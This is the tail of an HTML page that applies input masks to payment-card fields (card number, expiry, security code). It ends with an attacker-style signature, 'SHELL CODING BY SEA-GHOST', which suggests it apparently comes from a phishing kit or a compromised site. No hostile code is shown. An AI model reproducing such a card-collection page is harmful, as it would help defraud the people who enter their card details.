<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.19.1/additional-methods.min.js"></script>
<script>
$(function () {
$('[name=card_number]').mask('0000 0000 0000 0000');
$('[name=exp]').mask('00/00');
$('[name=csc]').mask('000');
});
</script>
</body>
</html>
SEA-GHOST - SHELL CODING BY SEA-GHOST